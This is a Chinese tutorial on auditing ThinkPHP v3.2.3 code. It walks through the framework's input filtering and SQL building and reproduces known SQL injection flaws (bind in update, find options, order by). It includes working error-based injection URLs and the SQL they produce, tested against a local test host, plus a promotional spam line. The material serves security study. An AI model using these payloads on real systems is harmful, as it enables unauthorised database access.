總結下ThinkPHP的程式碼審計方法

簡介

ThinkPHP 是國內著名的 php開發框架,基於MVC模式,最早誕生於2006年初,原名FCS,2007年元旦正式更名為ThinkPHP。

本文主要分析 ThinkPHP v3 的程式程式碼,透過對 ThinkPHP v3 的結構分析、底層程式碼分析、經典歷史漏洞復現分析等,學習如何審計 MVC 模式的程式程式碼,復現 ThinkPHP v3 的系列漏洞,總結經驗,以後遇到 ThinkPHP v3 的程式碼能夠獨立審計,抓住重點。即使不想對 ThinkPHP v3 程式碼做過多瞭解的小夥伴透過本文也能對TP3程式的漏洞有個清晰的認識。

ThinkPHP v3。x 系列最早釋出於2012年,於2018年停止維護,其中使用最多的是在2014年釋出的3。2。3,本文審計程式碼也是這個版本。也許TP 3現在很少能見到了,但透過對TP 3的程式碼分析,能更好入門 MVC 模式的程式程式碼審計。

瞭解ThinkPHP 3

目錄結構

TP3的初始目錄結構如下:

www  WEB部署目錄(或者子目錄)

├─index。php       入口檔案

├─README。md       README檔案

├─Application     應用目錄

├─Public          資原始檔目錄

└─ThinkPHP        框架目錄

這個時期的預設目錄結構其實是有很大問題的,入口檔案index。php和全部程式程式碼都放在WEB部署目錄中,這將導致程式的中檔案將會被洩露,如訪問 Application/Runtime/Logs/ 下的日誌,網上也有對應的爆破指令碼,批次獲取程式中的日誌檔案

總結下ThinkPHP的程式碼審計方法

2021最新整理網路安全\滲透測試/安全學習(全套影片、大廠面經、精品手冊、必備工具包)一>

關注我,私信回覆"資料"獲取

<一

總結下ThinkPHP的程式碼審計方法

配置檔案

在ThinkPHP中,一般來說應用的配置檔案是自動載入的,載入的順序是:

慣例配置->應用配置->模式配置->除錯配置->狀態配置->模組配置->擴充套件配置->動態配置

以上是配置檔案的載入順序,後面的配置會覆蓋之前的同名配置

慣例配置

慣例重於配置是系統遵循的一個重要思想,框架內建有一個慣例配置檔案(位於

ThinkPHP/Conf/convention。php

應用配置

應用配置檔案也就是呼叫所有模組之前都會首先載入的公共配置檔案(預設位於

Application/Common/Conf/config。php

模組配置

每個模組會自動載入自己的配置檔案(位於

Application/當前模組名/Conf/config。php

如果能獲取到程式程式碼,一般優先看系統的配置檔案,能翻到資料庫配置資訊這些還是很賺的

另外也可以翻翻模型程式碼,可能會有意外收穫(在TP 3中例項化模型的時候可以使用dns連線資料庫)

new \Home\Model\NewModel(‘blog’,‘think_’,‘mysql://root:1234@localhost/demo’);

另外一點需要注意的是,TP3中一個配置檔案就可以實現很多資訊的配置,如資料庫資訊的配置,路由規則配置等都會放在一個檔案中。在TP5中則是透過專門的檔案去配置不同的需求,如路由配置檔案專門負責配置路由,資料庫配置檔案專門負責配置資料庫資訊

路由處理方式

在TP3中路由處理方式如下

http://php。local/thinkphp3。2。3/index。php/Home/Index/index/id/1

入口檔案 模組/控制器/方法/ 引數

還可以使用相容模式

index。php?s=Home/Index/index/id/1

入口檔案 模組/控制器/方法/ 引數

TP3 具有路由轉發的功能,具體路由規則在

應用或者模組配置檔案

中,上面有提及這兩個檔案的位置

配置方式如下:

// 開啟路由

‘URL_ROUTER_ON’   => true,

// 路由規則

‘URL_ROUTE_RULES’ => array(

‘news/:year/:month/:day’ => array(‘News/archive’, ‘status=1’),

‘news/:id’               => ‘News/read’,

‘news/read/:id’          => ‘/news/:1’,

),

如果路由規則位於應用配置檔案,路由規則則作用於全域性。如果路由規則位於模組配置檔案,則只作用於當前模組,在訪問對應路由時要加上模組名,如在home模組配置檔案定義瞭如上的路由,訪問方式為

http://test。com/home/news/1

快捷方法

TP 3 對一些經常使用操作封裝成了快捷方法,目的在於使程式更加簡單安全

在TP 3官方文件中並沒有做系統的介紹,不過在TP 5中就有系統整理,並且還給了一個規範命名:助手函式。

快捷方法一般位於ThinkPHP/Common/functions。php,下面介紹幾個

I方法

PHP 程式一般使用

$_GET, $_POST

等全域性變數獲取外部資料, 在ThinkPHP封裝了一個

I方法

可以更加方便和安全的獲取外部變數,可以用於任何地方,用法格式如下:

I(‘變數型別。變數名/修飾符’,[‘預設值’],[‘過濾方法或正則’],[‘額外資料來源’])

示例:

echo I(‘get。id’); // 相當於 $_GET[‘id’]

echo I(‘get。name’); // 相當於 $_GET[‘name’]

// 採用htmlspecialchars方法對$_GET[‘name’] 進行過濾,如果不存在則返回空字串

echo I(‘get。name’,‘’,‘htmlspecialchars’);

如果沒有傳入過濾的方法,系統會採用預設的過濾機制,這個可以在配置檔案中獲取

C方法

讀取已有的配置,配置檔案裡面的資料就可以透過C方法讀取

// 讀取當前的URL模式配置引數

$model = C(‘URL_MODEL’);

M方法/D方法

用於資料模型的例項化操作,具體這兩個方法怎麼實現,有什麼區別,暫時就不多關注了,只用知道透過這兩個快捷方法能快速例項化一個數據模型物件,從而操作資料庫

//例項化模型

// 相當於 $User = new \Home\Model\UserModel();

$User = D(‘User’);

// 和用法 $User = new \Think\Model(‘User’); 等效

$User = M(‘User’);

模型

ThinkPHP是基於MVC模式的架構,資料庫和程式大部分邏輯都在

模型M

處處理。ThinkPHP3在

模型M

的底層設計上,出現了sql注入這樣的問題,這裡復現它的漏洞前,先熟悉一下底層的設計

\Think\Model類

TP3 實現模型的檔案為

ThinkPHP/Library/Think/Model。class。php

,檔案中定義了ThinkPHP的

模型基類\Think\Model類

\Think\Model類

的屬性一般是不需要設定的,會從配置檔案中獲取預設值

// ThinkPHP/Library/Think/Model。class。php

namespace Think;

class Model {

// 資料表字首,如果未定義則獲取配置檔案中的DB_PREFIX引數

protected $tablePrefix      =   null;

// 模型名稱

protected $name             =   ‘’;

// 資料庫名稱

protected $dbName           =   ‘’;

//資料庫配置

protected $connection       =   ‘’;

// 資料表名(不包含表字首),一般情況下預設和模型名稱相同

protected $tableName        =   ‘’;

// 實際資料表名(包含表字首),該名稱一般無需設定

protected $trueTableName    =   ‘’;

/*取得DB類的例項物件 欄位檢查*/

public function __construct($name=‘’,$tablePrefix=‘’,$connection=‘’) {

/*資料庫初始化操作

獲取資料庫操作物件

當前模型有獨立的資料庫連線資訊*/

$this->db(0,empty($this->connection)?$connection:$this->connection,true);

}

……

模型類的作用大多數情況是操作資料表的,通常需要繼承系統的**\Think\Model類**或其子類。如果按照系統的規範來命名模型類的話,是可以自動對應資料表,如定義一個

UserModel

模型類,預設對應的資料表為

think_user

假設資料庫的字首定義是 think_

namespace Home\Model;

use Think\Model;

class UserModel extends Model {

}

模型例項化

1)首先透過類名可以直接例項化

例項化上面定義的 UserModel 類

$User = new \Home\Model\UserModel();

2)另外ThinkPHP還提供了快捷方法,用於例項化模型:

D方法

M方法

D方法用法如下,引數即為模型的名稱

<?php

//例項化模型

$User = D(‘User’);

// 相當於 $User = new \Home\Model\UserModel();

// 執行具體的資料操作

$User->select();

如果只對資料表進行基本的CURD操作的話,使用M方法可能效能會更高一點

// 使用M方法例項化

$User = M(‘User’);

// 和用法 $User = new \Think\Model(‘User’); 等效

// 執行其他的資料操作

$User->select();

3)例項化空模型類

使用原生SQL查詢的話,不需要使用額外的模型類,例項化一個空模型類即可進行操作了,例如:

//例項化空模型

$Model = new Model();

//或者使用M快捷方法是等效的

$Model = M();

//進行原生的SQL查詢

$Model->query(‘SELECT * FROM think_user WHERE status = 1’);

資料庫操作

TP3

模型基礎類Model類

提供了很多操作資料庫的方法,下面看一下一些常用方法:

where()

where方法的引數支援字串和陣列,主要用於獲取sql語句的where部分

1)引數為陣列

$User = M(“User”); // 例項化User物件

$name = I(‘GET。name’);

$res = $User->field(‘username,age’)->where(array(‘username’=>$name))->select();

最後執行的SQL語句:

SELECT `username`,`age` FROM `think_user` WHERE `username` = ‘wang’

2)引數為字串

$User = M(“User”); // 例項化User物件

$name = I(‘GET。name’);

$res = $User->field(‘username,age’)->where(“username=‘%s’”,$name)->select();

最後執行的sql語句:

SELECT `username`,`age` FROM `think_user` WHERE ( username=‘wang’ )

3)存在漏洞的用法

然後就發現如下一種寫法,透過雙引號包裹引數變數自動解析,而不是額外傳入引數的方式,這樣就引數就不會被過濾,從而造成sql注入,在程式碼審計時可以注意下程式中是否存在這個情況

$User->field(‘username,age’)->where(“username=‘$name’”)->select();

實際sql語句

SELECT `username`,`age` FROM `think_user` WHERE ( username=‘xy’ )

透過閉合單引號和括號就能造成sql注入,即使這裡使用

I方法

過濾也無效

select()

獲取資料表中的多行記錄

find()

讀取資料表中的一行資料

示例:

<?php

namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller {

public function index(){

$name = I(‘GET。name’);

$User = M(“user”); // 例項化User物件

$User->where(array(‘name’=>$name))->select();

}

}

TP 3還提供鏈式操作,假如我們現在要查詢一個User表的滿足狀態為1的前10條記錄,並希望按照使用者的建立時間排序

$User->where(‘status=1’)->order(‘create_time’)->limit(10)->select();

安全過濾機制

TP3 在

I方法

和資料庫操作時都提供有自動安全過濾的操作

I 方法的安全過濾

ThinkPHP/Common/functions。php

下面對

I方法

程式碼做了大量化簡,保留了關鍵邏輯程式碼

$name

引數是一個字串,前面提到的格式有

get。id, post。name/s

I方法

就需要對這樣的字串做解析

首先

I方法

解析出

$name

字串中接收資料的方法

$method

,資料型別和資料

$data

透過

$filter

方法對

$data

做過濾,一般

$filter

為空,就會呼叫系統預設過濾方式

htmlspecialchars

‘DEFAULT_FILTER’        =>  ‘htmlspecialchars’, // 預設引數過濾方法 用於I函式。。。

最後

$data

還要透過

think_filter()

過濾,就是匹配資料中是否具有敏感字元,如果

$data

匹配到敏感字元就在資料後新增一個空格,看似很奇怪,後面會講這麼做的用途

function I($name,$default=‘’,$filter=null,$datas=null) {

if(strpos($name,‘。’)) { // 指定引數來源

list($method,$name) =   explode(‘。’,$name,2);

}else{ // 預設為自動判斷

$method =   ‘param’;

}

switch(strtolower($method)) {

case ‘get’     :

$input =& $_GET;

break;

case ‘post’    :

$input =& $_POST;

break;

……

$data = $input;

$data = $input[$name];

$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data);

is_array($data) && array_walk_recursive($data,‘think_filter’);

return $data;

}

function think_filter(&$value){

// TODO 其他安全過濾

// 過濾查詢特殊字元

if(preg_match(‘/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i’,$value)){

$value 。= ‘ ’;

}

}

這裡注意 thinkphp3。2。3 中敏感字元不包含BIND,TP3就因為這一點存在一個sql注入的風險

資料庫操作的安全過濾

透過

I方法

獲取外部資料預設會做一些安全過濾,上面看到的系統預設配置有htmlspecialchars,這個方法能防禦大部分的xss注入。因為現在很多程式會使用預編譯,所以TP5 中一般不採用

I方法

對外部資料做sql注入的過濾。

所以TP3在資料庫操作上也有自己的安全過濾方式,TP3有自己的預編譯處理方式,在沒有使用預編譯的情況下,TP3才會做addslash()這樣的過濾,而TP3中出現的sql注入問題就是在沒有使用預編譯的情況下,忽略了一些該過濾的地方

在這裡實在佩服挖到這些漏洞的大佬,最近看MVC模式的程式碼理解流程都很困難,他們卻在複雜的程式碼中找到關鍵的問題,我在後面復現分析時感覺挖出這種漏洞實在得對TP的流程十分熟悉才行

示例程式

本小節主要透過如下示例程式碼分析TP3是如何處理sql操作,如何拼接sql語句,如何做安全過濾等操作

這是一個常見的外部輸入where查詢條件的sql操作,對TP3資料庫操作有一定的普適性

Application/Home/Controller/IndexController。class。php

class IndexController extends Controller {

public function test(){

$name = I(‘GET。name’);

$User = M(“user”); // 例項化User物件

$User->field(‘username,age’)->where(array(‘username’=>$name))->select();

}

}

訪問下面的連結

http://tp。test:8888/index。php/home/index/test?name=s‘

最終執行的sql語句為:

SELECT `username`,`age` FROM `think_user` WHERE `username` = ’s\‘’

下面將仔細分析示例程式sql執行的流程

按照鏈式操作的順序,會依次執行field()、where()、select()。field()用於處理查詢的欄位,這裡資料不可控,我們也不關注了

where()方法

先看where()的邏輯,

where()

用於構造sql語句的

where條件語句部分

,這是常見的sql注入點。前面提到,模型類提供的

where()

方法可以接收陣列引數或字串引數

$where

,然後

where()

方法將會把相關資料解析到模型物件的

options

陣列屬性中,用於後續拼接完整的sql語句

如果

$where

為字串時,

$parse

為傳入

where()

的另一個引數,將會被

escapeString

過濾,然後將

$parse

格式化放在

$where

中,最後該字串的值被放在

$where[‘_string’]

中。這裡過濾的明明白白,就不在考慮這種寫法的sql注入問題了

如果

$where

為陣列,也是官方推薦的一種方式,在

where()

方法中並沒有直接過濾,我們需要關注後續對該值的處理

$where

最終將放在當前模型物件的

options[‘where’]

中,供後面處理

// ThinkPHP/Library/Think/Model。class。php

public function where($where,$parse=null){

if(!is_null($parse) && is_string($where)) {

$parse = array_map(array($this->db,‘escapeString’),$parse);

$where =   vsprintf($where,$parse);

}

if(is_string($where) && ‘’ != $where){

$map    =   array();

$map[‘_string’]   =   $where;

$where  =   $map;

}

if(isset($this->options[‘where’])){

$this->options[‘where’] =   array_merge($this->options[‘where’],$where);

}else{

$this->options[‘where’] =   $where;

}

return $this;

}

select() 方法

上面知道如果傳入where()的引數為字串,則直接會被過濾,那傳入陣列引數是否會經過安全檢測呢?

接下來看看select()是怎麼處理的,where()方法將

where欄位

部分資料放到了模型物件的options陣列屬性中儲存,select()方法將主要從options陣列組成最終的sql語句,其底層將由

ThinkPHP/Library/Think/Db/Driver。class。php

封裝完成,過程比較複雜,下面用一張圖簡述其流程

總結下ThinkPHP的程式碼審計方法

可以看到最終的sql語句將由 buildSelectSql() 完成,其中由parseTable(),parseWhere()等若干方法完成sql語句各個set欄位的組成

其中where欄位由parseWhere()解析,因為前面對字串引數已經過濾了,parseWhere()並沒有在做過濾(具體程式碼上圖忽略了),而是對陣列引數進行了過濾,處理細節位於parseWhereItem(),我們需要關注parseWhereItem()是否做到了嚴絲合縫

parseWhereItem()

**parseWhereItem()**接收兩個引數

$key

$val

,分別來自為

opention[‘where’]

的鍵和值

首先需要知道的是最終過濾的方法是

parseValue()

,過濾的值是

$val

,過濾後的

$var

$key

組成

$whereStr

即最終的where欄位

$val

為陣列形式時,會進入一個表示式判斷,

$exp=$val[0]

$exp

即為表示式,sql程式碼的表示式有EQ(等於)、LIKE(模糊查詢等)……

可以看到,當

$exp

的值為

bind,exp,IN 運算子

時,不會經過 **parseValue()**的過濾,那麼這裡就有可能存在一種繞過過濾的可能

$exp

值為bind時,where語句會加上

= :

,這會影響後面注入的語句(不過有人發現delete等方法可以消除該符號的影響,這個漏洞後面會具體分析);為IN運算子時,最後構造的sql語句會加上in運算子,稍有干擾;值為exp似乎是最佳選擇

$val

不為陣列形式時,必會受到parseValue()的過濾,遂放棄

// ThinkPHP/Library/Think/Db/Driver。class。php line:547-616

protected function parseWhereItem($key,$val) {

$whereStr = ‘’;

if(is_array($val)) {

if(is_string($val[0])) {

$exp = strtolower($val[0]);

if(preg_match(‘/^(eq|neq|gt|egt|lt|elt)$/’,$exp)) { // 比較運算

parseValue()……;

}elseif(preg_match(‘/^(notlike|like)$/’,$exp)){// 模糊查詢

parseValue()……;

}elseif(‘bind’ == $exp ){ // 使用表示式

$whereStr 。= $key。‘ = :’。$val[1];

}elseif(‘exp’ == $exp ){ // 使用表示式

$whereStr 。= $key。‘ ’。$val[1];

}elseif(preg_match(‘/^(notin|not in|in)$/’,$exp)){ // IN 運算

if(isset($val[2]) && ‘exp’==$val[2]) {

$whereStr 。= $key。‘ ’。$this->exp[$exp]。‘ ’。$val[1];

}else{

parseValue();

}

}elseif(preg_match(‘/^(notbetween|not between|between)$/’,$exp)){ // BETWEEN運算

parseValue()……;

}else{

E(L(‘_EXPRESS_ERROR_’)。‘:’。$val[0]);

}

}else {

……

}

}else {

//對字串型別欄位採用模糊匹配

$likeFields   =   $this->config[‘db_like_fields’];

if($likeFields && preg_match(‘/^(’。$likeFields。‘)$/i’,$key)) {

$whereStr 。= $key。‘ LIKE ’。$this->parseValue(‘%’。$val。‘%’);

}else {

$whereStr 。= $key。‘ = ’。$this->parseValue($val);

}

}

return $whereStr;

}

然後就構造一個poc驗證一下

http://tp。test:8888/index。php/home/index/test?name[0]=exp&name[1]=111‘

然後跟蹤除錯過程發現並沒有按照預想的進入

’exp‘ == $exp

的邏輯,原因是我們傳入的exp被加了一個空格,這似乎和

I方法

有關係

總結下ThinkPHP的程式碼審計方法

所以這裡也發現了官方為什麼強調要使用I方法接收外部資料,

如果沒有使用I方法,而是直接使用

$_GET

等接收外部變數

,那麼這裡就有sql注入的問題

http://tp。test:8888/index。php/home/index/test?name[0]=exp&name[1]==’1‘ and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #

實際注入sql語句:

SELECT `username`,`age` FROM `think_user` WHERE `username` =’1‘ and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

小結

目前分析了 ThinkPHP V3。2。3對透過

I方法

對輸入變數的安全過濾流程、資料庫在解析select語句中的where欄位時的安全過濾流程。也發現了一點小問題,如果沒有按照規範的方法使用ThinkPHP也是有可能存在SQL注入問題的。這些不規範的寫法也是程式碼審計時需要找出的問題

歷史漏洞

update注入漏洞

在安全過濾機制一節中主要分析了select()方法對where() 傳入的陣列引數的處理過程,其中遇到了這樣的情況:

$exp

的值為’bind’時,構造的where語句中間會受到“ = : “的影響,但是有人卻找到了模型類的save()方法可以消除” : ”的影響,最終造成sql注入漏洞,該小節就是關注這一點

$exp

的值為’exp’時,基本不會受到影響,但exp在

think_filter()

中是特殊字元,

$exp

最終值會被加空格,無法進入到該邏輯中

// ThinkPHP/Library/Think/Db/Driver。class。php

function parseWhereItem(){

……

elseif(’bind‘ == $exp ){ // 使用表示式

$whereStr 。= $key。’ = :‘。$val[1];

}elseif(’exp‘ == $exp ){ // 使用表示式

$whereStr 。= $key。’ ‘。$val[1];

}

……

}

// ThinkPHP/Common/functions。php

function think_filter(&$value){

// TODO 其他安全過濾

// 過濾查詢特殊字元

if(preg_match(’/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i‘,$value)){

$value 。= ’ ‘;

}

}

save()的使用

ThinkPHP的模型基類使用save()方法實現了SQL update的操作,用法如下,要更改的資料需要透過數關聯組形式傳遞

$User = M(“User”); // 例項化User物件

// 要修改的資料物件屬性賦值

$data[’name‘] = ’ThinkPHP‘;

$data[’email‘] = ’ThinkPHP@gmail。com‘;

$User->where(’id=5‘)->save($data); // 根據條件更新記錄

也可以改成物件方式來操作:

$User = M(“User”); // 例項化User物件

// 要修改的資料物件屬性賦值

$User->name = ’ThinkPHP‘;

$User->email = ’ThinkPHP@gmail。com‘;

$User->where(’id=5‘)->save(); // 根據條件更新記錄

構造save()的場景

ThinkPHP 只是一個框架,其中封裝了很多方法,需要知道的是save()底層封裝了update的sql操作。

這裡我們構建一個使用save()方法的場景,並且where()使用陣列形式的引數,目的是為了進入bind的處理邏輯。外部引數我們使用嚴格

I方法

來接收

public function test(){

$name = I(’GET。name‘);

$User = M(“user”); // 例項化User物件

$data[’jop‘] = ’111‘;

$res = $User->where(array(’name‘=>$name))->save($data);

var_dump($res);

}

為了進入 ‘bind’ 的處理邏輯,下面將構造以下連線測試注入:

http://tp。test:8888/index。php/home/index/test?name[0]=bind&name[1]=kkey’

save()處理邏輯

where() 的處理邏輯在安全過濾機制一節中有提到,當我們傳入陣列引數時在where()中不會被過濾,引數最終會被放到模型物件的 options 陣列屬性中儲存。至於這個沒有過濾的資料在 save() 中又是怎麼處理的下面分析一下:

ThinkPHP/Library/Think/Model。class。php

where()方法上面已經分析過,只需要知道當前model類物件的

$options

儲存著where欄位的資料,

$data

則是存放的set欄位的資料

$data

$options

是組成sql語句的關鍵,最終將交於

db->update()

實現

// ThinkPHP/Library/Think/Model。class。php

class Model {

protected $options;

public function save($data=‘’,$options=array()) {

……

// 底層由資料庫Driver類update()實現

$result     =   $this->db->update($data,$options);

……

return $result;

}

}

ThinkPHP/Library/Think/Db/Driver。class。php

把重點放到底層update()的實現上:

// ThinkPHP/Library/Think/Db/Driver。class。php

abstract class Driver {

public function update($data,$options) {

$table  =   $this->parseTable($options[‘table’]);

//  此時sql語句構造為 UPDATE xxx set yyy

$sql   = ‘UPDATE ’ 。 $table 。 $this->parseSet($data);

// 解析where語句

$sql 。= $this->parseWhere(!empty($options[‘where’])?$options[‘where’]:‘’);

……

return $this->execute($sql,!empty($options[‘fetch_sql’]) ? true : false);

}

}

總結下ThinkPHP的程式碼審計方法

首先

$data

由**parseSet()**解析為set欄位,**parseSet()

就不細看了,==該方法解析的set欄位的將會用

命名(:name)**形式的佔位標記符,其中佔位標記符的值已經放在了bind陣列中==,可以看出tp想做預編譯的操作了

然後就進入where欄位的解析,解析方法為

parseWhere()

parseWhere()

也不進入細看了,就是陣列引數最終會交給

parseWhereItem()

解析

parseWhereItem()

前面已有分析,這裡也不再仔細分析了,當注入的

$exp

(代表運算子)等於bind時,傳入的引數不會被過濾,而是在where子語句中新增“ =: “符號,本漏洞的關鍵點在於如何去消除這個” : ”符號的影響。

如下圖,我們的資料奇怪的加入了這個預編譯,這個準備語句的格式明顯是有問題的

總結下ThinkPHP的程式碼審計方法

$sql

為最終解析完成的sql語句,交於

execute()

執行

跟蹤 execute() 方法:

// ThinkPHP/Library/Think/Db/Driver。class。php

public function execute($str,$fetchSql=false) {

$this->queryStr = $str;

if(!empty($this->bind)){

$that   =   $this;

$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return ‘\’‘。$that->escapeString($val)。’\‘’; },$this->bind));

}

if($fetchSql){

return $this->queryStr;

}

foreach ($this->bind as $key => $val) {

$this->PDOStatement->bindValue($key, $val);

}

$result =   $this->PDOStatement->execute();

$str

即為要執行的sql語句

重點關注

$this->queryStr

的處理,這裡會執行兩個函式,一個

strst()

字串替換函式,一個使用

array_map()

呼叫的匿名函式

匿名函式就是呼叫

escapeString()

過濾

bind

陣列,前面知道bind陣列只有set語句的值,

我們where語句的值還是沒有被過濾

strst()

將會把佔位標記符轉換為 bind 陣列中對應的值,如:$bind=[’:0’=>‘111’,’:1’=>‘222’],那麼sql語句中**’:0’

字元會被替換為

’111’

’:1’

被替換為

’222’**。

利用的關鍵點來了,我們把where語句最終控制為“:0”,那麼替換時“:”將被消除,從而消除了

對注入語句的影響

總結下ThinkPHP的程式碼審計方法

$this->queryStr

語句處理好後,再透過預編譯執行該語句,可惜其中的佔位標記符已經被替換了,在預處理前就已經發生了注入,漏洞產生

驗證漏洞

poc:

http://tp。test:8888/index。php/home/index/test?name[0]=bind&name[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))——+

實際執行的sql語句

UPDATE `think_user` SET `job`=‘111’ WHERE `username` = ‘111’ and (updatexml(1,concat(0x7e,(select user()),0x7e),1))——

驗證圖:

總結下ThinkPHP的程式碼審計方法

官方修復

前面提到利用

I方法

獲取輸入時並沒有過濾BIND,導致我們可以進入BIND的邏輯,從而使得我們的陣列引數從頭到尾都沒有被過濾。官方便在這一點上做了過濾。所以該漏洞在ThinkPHP<=3。2。3都是存在的

注意:如果沒有使用

I方法

接收外部資料,那麼下面的修復就沒有意義了,這漏洞照樣使用

小結

感覺挖這種漏洞好難呀!需要對資料的每個流程十分熟悉。本次漏洞點還是位於where()方法的輸入點,不過要藉助I方法忽略的BIND和拼接語句時意外的替換功能造成最終的sql注入

也許該漏洞的最關鍵點在於strtr()的全域性替換吧,替換了意外的資料,如果能看到這一點,應該就能逆向找到利用了。而官方修復並沒有修復這個關鍵點,所以在沒有使用I方法的情況還是有可能造成sql注入

如果在真實場景中想尋找這樣的漏洞,可以先看程式中可能具有update的操作,然後注入poc嘗試

select&delete 注入漏洞

這其實是ThinkPHP的一個隱藏用法,在前面提到,ThinkPHP使用where(),field()等方法獲取獲取sql語句的各個部分,然後存放到當前模型物件的

$this->options

屬性陣列中,最後在使用select()這些方法從

$this->options

陣列中解析出對應的sql語句執行。

但在閱讀程式碼過程中發現find(),select(),delete()本身可以接收

$options

陣列引數,覆蓋掉

$this->options

的值。不過這種用法官方文件並沒有提及,想要遇到這中情況可能還需要開發者們配合,下面看看這個漏洞是怎麼產生的,這裡分析find()方法

程式碼分析

ThinkPHP/Library/Think/Model。class。php

class Model {

protected $options          =   array();

public function find($options=array()) {

if(is_numeric($options) || is_string($options)) {//$options不為陣列的情況

$where[$this->getPk()]  =   $options;

$options                =   array();

$options[‘where’]       =   $where;

}

// 根據複合主鍵查詢記錄

$pk  =  $this->getPk();

if (is_array($options) && (count($options) > 0) && is_array($pk)) {//$options為陣列且主鍵也為陣列的情況

// 根據複合主鍵查詢

……

}

// 總是查詢一條記錄

$options[‘limit’]   =   1;

// 分析表示式

$options            =   $this->_parseOptions($options);

……

$resultSet          =   $this->db->select($options);//底層查詢的語句

find()

可以接收外部引數

$options

,官方文件沒有提及這個用法

getPk()

獲取當前的主鍵,預設為’id’

$options

為數字型別或字串型別時,

$options[‘where’]

將由主鍵和外部資料構成

$options

為陣列型別時,且主鍵

$pk

也為陣列型別時,將會進入複合主鍵查詢。但一般預設主鍵

$pk=id

,不為陣列

$options

最終由

_parseOptions()

獲取。跟蹤

_parseOptions()

方法,可以看到最終

$options

將由**find()

方法傳入的

$options

where()**等方法傳入的

$this->options

合併完成,注意

array_merge()

第二個引數是會覆蓋第一個引數的值的,所以如果

find()

方法傳入的

$options

可控,那麼整個sql語句也可控

// ThinkPHP/Library/Think/Model。class。php

protected function _parseOptions($options=array()) {

if(is_array($options))

$options =  array_merge($this->options,$options);

……

現在sql語句可控了,能想到的是在資料庫底層類中的parsewhere()方法解析where欄位時,對字串引數不會過濾,由下面程式碼,需要控制

$options[‘where’]

為字串型別即可

// ThinkPHP/Library/Think/Db/Driver。class。php

public function parseSql($sql,$options=array()){

// parseWhere()接收的是$options[‘where’]

$this->parseWhere(!empty($options[‘where’])?$options[‘where’]:‘’)

……

protected function parseWhere($where) {

$whereStr = ‘’;

if(is_string($where)) {

// 直接使用字串條件

$whereStr = $where;

……

場景構造

構造一個

find()

方法接收外部引數,這種寫法可能存在漏洞

public function test(){

$id = I(‘GET。id’);

$User = M(“user”); // 例項化User物件

$res = $User->find($id);

}

漏洞利用

http://tp。test:8888/home/index/test?id[where]=(1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))——+

實際執行的sql語句為

SELECT * FROM `think_user` WHERE (1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))—— LIMIT 1

官方修復

總結下ThinkPHP的程式碼審計方法

官方在修復上就是在

_parseOptions()

處忽略了外部傳入的

$options

,這樣我們傳入的資料只能用於主鍵查詢,而主鍵查詢最終會轉換為陣列格式,陣列格式資料在後面也會被過濾,那麼這個漏洞就不存在了

Model。class。php 類中 delete(), select() 方法具有相同問題,也在ThinkPHP3。2。4中被修復

小結

可以看到ThinkPHP在處理sql查詢時分的很細,做出了一個可控的主鍵查詢這個功能,讓使用者可以控制主鍵查詢的值,但始終儲存主鍵查詢的資料為陣列形式可以被過濾,就保證了資料的安全性,但卻忽略了一些意外的情況,導致sql注入。這個漏洞同樣是需要很對ThinkPHP底層邏輯十分清楚

order by 注入漏洞

程式碼分析

ThinkPHP的模型基類Model並沒有直接提供order的方法,而是用

__call()

魔術方法來獲取一些特殊方法的引數,程式碼如下:

ThinkPHP/Library/Think/Model。class。php

class Model {

// 查詢表示式引數

protected $options          =   array();

// 鏈操作方法列表

protected $methods          =   array(‘strict’,‘order’,‘alias’,‘having’,‘group’,……);

public function __call($method,$args) {

if(in_array(strtolower($method),$this->methods,true)) {

// 連貫操作的實現

$this->options[strtolower($method)] =   $args[0];

return $this;

}

……

}

}

當呼叫模型物件的 order() 方法時,因為模型物件不具有該方法便觸發了

__call()

方法,在

__call()

方法中,傳入order()方法的第一個引數將賦值給

$this->options[‘order’]

最終 order 語句將由給 parseOrder() 解析

總結下ThinkPHP的程式碼審計方法

ThinkPHP/Library/Think/Db/Driver。class。php

在Thinkphp3。2。3中parseOrder()實現的十分簡單

abstract class Driver {

protected function parseOrder($order) {

if(is_array($order)) {

$array   =  array();

foreach ($order as $key=>$val){

if(is_numeric($key)) {

$array[] =  $this->parseKey($val);

}else{

$array[] =  $this->parseKey($key)。‘ ’。$val;

}

}

$order   =  implode(‘,’,$array);

}

return !empty($order)?  ‘ ORDER BY ’。$order:‘’;

}

parseOrder()的引數

$order

來自

$options[‘order’]

過程對

$order

沒有任何過濾,可以任意注入。。。

場景構造

構造一個order引數可控的場景,不過似乎很少有程式會把查詢排序的引數交給使用者

public function test(){

$order = I(‘GET。order’);

$User = M(“user”); // 例項化User物件

$res = $User->order($order)->find();

}

漏洞利用

poc:

http://tp。test:8888/home/index/test?order=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)

實際執行sql語句

SELECT * FROM `think_user` ORDER BY updatexml(1,concat(0x7e,(select user()),0x7e),1)

系統修復

在看系統修復程式碼時發現,ThinkPHP3。2。4主要採用了判斷輸入中是否有括號的方式過濾,在ThinkPHP3。2。5中則用正則表示式過濾特殊符號。另外該在ThinkPHP<=5。1。22版本也存在這樣的漏洞,利用方式有一些不同

在復現該漏洞時發現其他博主的程式碼和我的不一樣,我這裡以下載的程式碼為準

快取漏洞

ThinkPHP 中提供了一個數據快取的功能,對應

S方法

,可以先將一些資料儲存在檔案中,再次訪問該資料時直接訪問快取檔案即可

快取檔案示例

按照快取初始化時候的引數進行快取資料

public function test(){

$name = I(‘GET。name’);

S(‘name’,$name);

}

下次在讀取該值時透過快取檔案可以更快獲取

public function cache(){

$value = S(‘name’);

echo $value;

}

先訪問test(),生成快取資料

http://tp。test:8888/home/index/test?name=jelly

總結下ThinkPHP的程式碼審計方法

發現生成檔案:Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297。php

然後訪問cache(),獲取快取資料

image-20210729173745860。png

上面就是快取檔案生成和使用的過程

